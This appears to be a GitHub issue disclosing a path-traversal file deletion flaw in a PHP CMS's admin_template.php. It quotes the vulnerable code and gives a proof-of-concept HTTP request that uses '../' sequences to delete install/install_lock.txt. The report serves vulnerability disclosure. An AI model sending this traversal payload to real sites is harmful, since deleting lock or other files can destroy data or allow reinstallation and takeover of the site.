Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
look at admin_template.php 【114-132】
admin_template.php
elseif($action=='del') { if($filedir == '') { ShowMsg('未指定要删除的文件或文件名不合法', '-1'); exit(); } if(substr(strtolower($filedir),0,11)!=$dirTemplate){ ShowMsg("只允许删除templets目录内的文件!","admin_template.php"); exit; } $folder=substr($filedir,0,strrpos($filedir,'/')); if(!is_dir($folder)){ ShowMsg("目录不存在!","admin_template.php"); exit; } unlink($filedir); ShowMsg("操作成功!","admin_template.php?path=".$folder); exit; }
There are no restrictions here.
Poc:
GET /qdybap/admin_template.php?action=del&filedir=../templets/default/images/../../../install/install_lock.txt HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/qdybap/admin_template.php?path=../templets/default/images Connection: close Cookie: think_template=default; __tins__19820877=%7B%22sid%22%3A%201546784203337%2C%20%22vd%22%3A%204%2C%20%22expires%22%3A%201546786104291%7D; __51cke__=; __51laig__=6; PHPSESSID=5322944de96922c98817ca8b2463c379; __tins__19820873=%7B%22sid%22%3A%201546784394633%2C%20%22vd%22%3A%202%2C%20%22expires%22%3A%201546786703612%7D Upgrade-Insecure-Requests: 1
Delete the install_lock.txt file
install_lock.txt
The text was updated successfully, but these errors were encountered:
No branches or pull requests
look at
admin_template.php【114-132】There are no restrictions here.
Poc:
Delete the
install_lock.txtfileThe text was updated successfully, but these errors were encountered: